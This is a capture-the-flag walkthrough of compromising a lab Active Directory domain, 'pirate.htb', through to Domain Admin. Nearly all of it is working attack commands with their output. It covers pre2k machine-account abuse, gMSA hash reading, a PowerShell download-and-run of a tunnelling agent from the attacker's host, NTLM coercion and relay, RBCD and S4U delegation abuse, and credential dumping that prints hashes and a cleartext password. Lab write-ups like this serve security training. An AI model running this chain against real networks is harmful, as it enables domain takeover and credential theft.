Pirate
IP: 10.129.2.154 | Domain: pirate.htb
Environment Setup
export IP=10.129.2.154
export VPN=10.10.14.214
echo "10.129.2.154 DC01.pirate.htb DC01 pirate.htb" >> /etc/hosts
Step 1 — Port Scanning
Why: Before doing anything, we need to map the attack surface. Open ports and services tell us what attack angles are available.
nmap -sCV -p- --min-rate 5000 $IP -oN scans/nmap_pirate.out
Output:
PORT STATE SERVICE
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http
636/tcp open ssl/ldap Domain: pirate.htb
3268/tcp open ldap Global Catalog
3269/tcp open ssl/ldap
5985/tcp open http WinRM
9389/tcp open mc-nmf
Clock skew: +7h00m00s
SMB signing: enabled and required
Key findings:
- Confirmed Domain Controller (DC01.pirate.htb) — Kerberos (88), LDAP (389/636/3268), kpasswd (464), DNS (53)
- Clock skew: +7h — all Kerberos operations require
faketime -f '+7h' - SMB signing: required on DC01 — NTLM relay directly to DC01 SMB is blocked
- LDAP signing: None — relay to LDAP is possible
- WinRM (5985) open — useful if we obtain valid credentials
- Port 443 — could be ADCS or ADFS, worth investigating
Step 2 — Domain User Enumeration
Why: With working credentials we want to map out who exists in the domain. Users — especially admin accounts and service accounts — are our primary targets for privilege escalation.
faketime -f '+7h' nxc smb $IP -u pentest -p 'p3nt3st2025!&' --users
Output:
Administrator — Built-in admin
Guest — Disabled
krbtgt — KDC service account
a.white_adm — Admin account (_adm suffix = elevated privileges)
a.white — Regular domain user
pentest — Our starting account
j.sparrow — Regular domain user
Key findings:
a.white/a.white_adm— classic admin account pair._admsuffix suggests elevated privilegesj.sparrow— likely holds the user flag- Only 7 users — small domain focused on AD misconfigurations, not password spraying
Step 3 — Computer Account Enumeration
Why: Computer accounts can be just as interesting as user accounts. Machines with delegation, gMSA accounts, or pre-2k compatibility are all common attack paths.
faketime -f '+7h' nxc ldap $IP -u pentest -p 'p3nt3st2025!&' --computers
Output:
DC01$ — Domain Controller
WEB01$ — Web server (IIS likely)
MS01$ — Unknown role
EXCH01$ — Exchange server (naming convention)
gMSA_ADCS_prod$ — Group Managed Service Account (ADCS)
gMSA_ADFS_prod$ — Group Managed Service Account (ADFS)
Key findings:
gMSA_ADCS_prod$andgMSA_ADFS_prod$— passwords auto-managed by AD, readable only by specific principals via LDAPWEB01$— likely on an internal subnet not reachable from our VPNMS01$andEXCH01$— no external DNS records, likely internal only
Step 4 — Pre-Windows 2000 Compatibility Check
Why: The Pre-Windows 2000 Compatible Access group allows Authenticated Users to read certain sensitive attributes — including passwords of computer accounts created with pre-2k compatibility. These accounts use their own lowercase machine name as password, making them trivially exploitable. Free TGT if it exists.
faketime -f '+7h' nxc ldap $IP -u pentest -p 'p3nt3st2025!&' -M pre2k
Output:
Pre-created computer account: MS01$
Pre-created computer account: EXCH01$
[+] Successfully obtained TGT for ms01@pirate.htb
[+] Successfully obtained TGT for exch01@pirate.htb
Saved to: /home/nrg/.nxc/modules/pre2k/ccache/
Key findings:
MS01$andEXCH01$were created with Pre-2k compatibility — passwords are simplyms01/exch01- We now have valid Kerberos TGTs for both machine accounts
- These TGTs let us authenticate AS these machine accounts to domain services
Step 5 — gMSA Password Retrieval
Why: gMSA passwords are readable by specific principals via LDAP. If MS01$ is in the PrincipalsAllowedToReadPassword group for either gMSA, we get their NTLM hash and can authenticate as them.
export KRB5CCNAME=/home/nrg/.nxc/modules/pre2k/ccache/ms01.ccache
faketime -f '+7h' nxc ldap $IP -k --use-kcache --gmsa
Output:
[+] PIRATE.HTB\ms01 from ccache
gMSA_ADCS_prod$ NTLM: <REDACTED> PrincipalsAllowedToReadPassword: Domain Secure Servers
gMSA_ADFS_prod$ NTLM: <REDACTED> PrincipalsAllowedToReadPassword: Domain Secure Servers
Key findings:
- MS01$ is a member of Domain Secure Servers — the group with read access to both gMSA hashes
- NTLM hash = functional equivalent of a password — no cracking needed (Pass-the-Hash)
- Attack chain:
pentest → pre2k → MS01$ TGT → gMSA hash
Step 6 — Verify gMSA WinRM Access
Why: WinRM (5985) is open on DC01. If gMSA_ADCS_prod$ is in Remote Management Users, we get a shell on the DC immediately.
faketime -f '+7h' nxc winrm $IP -u 'gMSA_ADCS_prod$' -H <REDACTED_HASH>
Output:
[+] pirate.htb\gMSA_ADCS_prod$:<REDACTED> (Pwn3d!)
Key findings:
gMSA_ADCS_prod$has WinRM access on DC01 — shell on the Domain Controller- This is a service account, not Domain Admin — but enough to deploy Ligolo and pivot
Step 7 — Internal Network Discovery
Why: WEB01$ has no external DNS record — it lives on an internal subnet. We need to find its IP before we can attack it.
faketime -f '+7h' evil-winrm -i DC01.pirate.htb -u 'gMSA_ADCS_prod$' -H <REDACTED_HASH>
# Then: ipconfig /all
Output:
vEthernet (Switch01): 192.168.100.1/24 ← Internal Hyper-V network
Ethernet0 2: 10.129.2.154 ← External (VPN-facing)
Key findings:
- DC01 is dual-homed — one external, one internal interface
- WEB01 lives at
192.168.100.2(next available IP in /24) - We need to pivot through DC01 to reach WEB01
Step 8 — Ligolo-ng Pivot Setup
Why: Ligolo-ng creates a TUN interface on our attack machine that routes 192.168.100.0/24 traffic transparently through DC01. No proxychains needed — all tools work natively.
# Terminal 1 — Start Ligolo proxy (as root for TUN permissions)
cd ~/ligolo/client
sudo ./proxy -selfcert
# Terminal 2 — Serve agent via HTTP
cd ~/ligolo/agent
python3 -m http.server 8080
# In evil-winrm on DC01 — download and run agent
(New-Object Net.WebClient).DownloadFile("http://10.10.14.215:8080/agent-win.exe","C:\Windows\Temp\agent.exe")
C:\Windows\Temp\agent.exe -connect 10.10.14.215:11601 -ignore-cert
# In Ligolo proxy — configure tunnel once agent connects
session
autoroute # Select 192.168.100.0/24 → create interface → start
# Verify
ping 192.168.100.2
Output:
[+] Agent joined: PIRATE\gMSA_ADCS_prod$@DC01
Tunnel interface: internalcalisso
Routing: 192.168.100.0/24 → DC01
Note: faketime cannot wrap Python venv binaries or sudo-required binaries — proxy must be run as root directly.
Step 9 — WEB01 Enumeration
Why: With the pivot in place, WEB01 is our next target. SMB signing status is the critical finding — if disabled, we can relay NTLM auth.
nmap -sCV --min-rate 5000 192.168.100.2
Output:
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
808/tcp open mc-nmf .NET Message Framing
1500/tcp open mc-nmf .NET Message Framing
1501/tcp open mc-nmf .NET Message Framing
5985/tcp open http WinRM
SMB signing: enabled but NOT required ← CRITICAL
Clock skew: +7h
Key findings:
- SMB signing NOT required — unlike DC01, WEB01 doesn't enforce signing — NTLM relay is possible
- WinRM (5985) open — shell access if we get valid creds
- Ports 808/1500/1501 (.NET Message Framing) — WCF / ADFS services
Step 10 — NTLM Relay via Coercion → LDAP Shell
Why: WEB01 has SMB signing disabled. We coerce WEB01 to authenticate to us, then relay that auth to DC01's LDAP (signing:None). This gives us an interactive LDAP shell running in WEB01$'s context on DC01.
# Terminal 1 — Start ntlmrelayx targeting DC01 LDAP
impacket-ntlmrelayx -t ldap://$IP --remove-mic -smb2support -i
# Terminal 2 — Coerce WEB01 to authenticate to us
faketime -f '+7h' nxc smb 192.168.100.2 -u 'gMSA_ADCS_prod$' -H <REDACTED_HASH> -M coerce_plus -o LISTENER=$VPN
# Terminal 3 — Connect to interactive LDAP shell once relay succeeds
nc 127.0.0.1 11000
Output:
COERCE_PLUS WEB01 VULNERABLE, PetitPotam
COERCE_PLUS WEB01 Exploit Success, efsrpc\EfsRpcAddUsersToFile
COERCE_PLUS WEB01 VULNERABLE, PrinterBug
COERCE_PLUS WEB01 VULNERABLE, MSEven
[*] LDAP relay successful → interactive shell on 127.0.0.1:11000
# Type help for list of commands
Key findings:
- EfsRpcAddUsersToFile coercion succeeded — WEB01 authenticated to us
- LDAP relay to DC01 succeeded (signing:None confirmed)
- We have an interactive LDAP shell as WEB01$ on DC01
Step 11 — RBCD via LDAP Shell
Why: From the LDAP shell we can set Resource-Based Constrained Delegation. We create a fake computer account (FAKE01$) and set msDS-AllowedToActOnBehalfOfOtherIdentity on WEB01$ to point to FAKE01$. This allows FAKE01$ to impersonate any user against WEB01's services via S4U2Proxy.
# In LDAP shell
start_tls
add_computer FAKE01 'Password123!'
set_rbcd WEB01$ FAKE01$
Output:
StartTLS succeeded, now using LDAPS!
Adding new computer: FAKE01$ → Result: OK
Delegation rights modified successfully!
FAKE01$ can now impersonate users on WEB01$ via S4U2Proxy
Key findings:
FAKE01$created (MachineAccountQuota allows any auth user to create 10 computer accounts)msDS-AllowedToActOnBehalfOfOtherIdentityon WEB01$ now points to FAKE01$- FAKE01$ can now impersonate Administrator (or any user) for services on WEB01
Step 12 — S4U2Proxy → SYSTEM on WEB01
Why: With RBCD set, we use S4U2Self (FAKE01$ impersonates Administrator) + S4U2Proxy (get a cifs/WEB01 ticket as Administrator) → PSExec → SYSTEM.
faketime -f '+7h' impacket-getST pirate.htb/'FAKE01$':'Password123!' \
-spn cifs/WEB01.pirate.htb \
-impersonate Administrator \
-dc-ip $IP
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
faketime -f '+7h' impacket-psexec -k -no-pass Administrator@WEB01.pirate.htb -target-ip 192.168.100.2
Output:
[*] S4U2self → S4U2Proxy complete
[*] Found writable share ADMIN$
C:\WINDOWS\system32> whoami
nt authority\system
hostname: WEB01
Step 13 — Credential Dumping from WEB01
Why: As SYSTEM on WEB01 we dump LSA Secrets and cached credentials. LSA Secrets often contain plaintext passwords for services configured with auto-logon.
faketime -f '+7h' impacket-secretsdump -k -no-pass Administrator@WEB01.pirate.htb -target-ip 192.168.100.2
Output:
[SAM]
Administrator NTLM: b1aac1584c2ea8ed0a9429684e4fc3e5
[Cached DCC2]
PIRATE.HTB/Administrator
PIRATE.HTB/gMSA_ADFS_prod$
PIRATE.HTB/a.white
[LSA Secrets - DefaultPassword]
PIRATE\a.white : E2nvAOKSz5Xz2MJu ← CLEARTEXT
[LSA Secrets - Machine]
PIRATE\WEB01$ NTLM: feba09cf0013fbf5834f50def734bca9
Key findings:
DefaultPasswordLSA secret = a.white's plaintext password — stored because WEB01 was configured for Auto-Logon- DCC2 hashes require offline cracking — not immediately useful
- Next: a.white → a.white_adm via ACL abuse
Step 14 — ForceChangePassword: a.white → a.white_adm
Why: a.white has ForceChangePassword over a.white_adm. This RPC call (setuserinfo2 level 23) resets the password without knowing the current one. Empty output = success in Windows.
faketime -f '+7h' rpcclient -U 'pirate.htb/a.white%E2nvAOKSz5Xz2MJu' $IP \
-c 'setuserinfo2 a.white_adm 23 NewPassword123!'
# Verify
faketime -f '+7h' nxc smb $IP -u a.white_adm -p 'NewPassword123!'
Output:
rpcclient → (empty = SUCCESS)
[+] pirate.htb\a.white_adm:NewPassword123! ← confirmed
Key findings:
a.whitehasForceChangePasswordovera.white_adm— password changed without the old onea.white_admhas Constrained Delegation with Protocol Transition forHTTP/WEB01.pirate.htb- IT group (a.white_adm is a member) has WriteSPN on DC01$
Step 15 — WriteSPN + KCD Protocol Transition → Domain Admin
Why: Three-part final escalation:
Part A — Move the SPN: a.white_adm's delegation is for HTTP/WEB01.pirate.htb. We move this SPN from WEB01$ to DC01$ using WriteSPN rights (IT group on DC01$). This makes DC01 the target of the delegation.
Part B — Protocol Transition: getST uses S4U2Self to get a forwardable ticket impersonating Administrator WITHOUT needing their password.
Part C — altservice: We swap the SPN in the ticket from HTTP/WEB01 to cifs/DC01 using -altservice. The KDC allows this because the encryption keys are the same. Result: a valid cifs/DC01 ticket as Administrator.
# Step 1 — Remove HTTP SPNs from WEB01$
cat > /tmp/del_spn.ldif << 'EOF'
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
changetype: modify
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01.pirate.htb
-
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01
EOF
faketime -f '+7h' ldapmodify -x -H ldap://$IP -D "a.white_adm@pirate.htb" -w 'NewPassword123!' -f /tmp/del_spn.ldif
# Step 2 — Add HTTP/WEB01.pirate.htb to DC01$
# bloodyAD must be called via python3 directly (faketime can't wrap venv binaries)
/home/tools/.venv-bloodyad/bin/python3 /home/tools/.venv-bloodyad/bin/bloodyAD \
-d pirate.htb -u a.white_adm -p 'NewPassword123!' --host $IP \
set object 'DC01$' servicePrincipalName -v 'HTTP/WEB01.pirate.htb' --raw
# Step 3 — S4U2Proxy with altservice → cifs/DC01
faketime -f '+7h' impacket-getST pirate.htb/'a.white_adm':'NewPassword123!' \
-spn 'HTTP/WEB01.pirate.htb' \
-impersonate Administrator \
-dc-ip $IP \
-altservice 'cifs/DC01.pirate.htb'
# Step 4 — PSExec as Domain Admin
export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
faketime -f '+7h' impacket-psexec -k -no-pass Administrator@DC01.pirate.htb
Output:
ldapmodify → modifying entry "CN=WEB01,CN=Computers,DC=pirate,DC=htb" ✓
bloodyAD → [+] DC01$'s servicePrincipalName has been updated ✓
[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to cifs/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
[*] Found writable share ADMIN$
C:\Windows\system32> whoami
nt authority\system
hostname: DC01
🏴 MACHINE PWNED — DOMAIN ADMIN ACHIEVED
Full Attack Chain
pentest creds
└─ pre2k → MS01$ TGT
└─ gMSA hash retrieval (Domain Secure Servers)
└─ gMSA_ADCS_prod$ → WinRM on DC01
└─ Ligolo-ng pivot → 192.168.100.0/24
└─ NTLM relay (coerce WEB01 → DC01 LDAP)
└─ RBCD (FAKE01$ → WEB01$)
└─ S4U2Proxy → SYSTEM on WEB01
└─ secretsdump → a.white plaintext
└─ ForceChangePassword → a.white_adm
└─ WriteSPN (HTTP/WEB01 → DC01$)
└─ KCD Protocol Transition + altservice
└─ cifs/DC01 as Administrator
└─ PSExec → SYSTEM on DC01
🏴 DOMAIN ADMIN
© 0xNRG — Pirate pwned — 2026-03-07
Writeup restricted
This machine is currently active. The full writeup will be published automatically once the box retires, in accordance with HTB's NDA policy.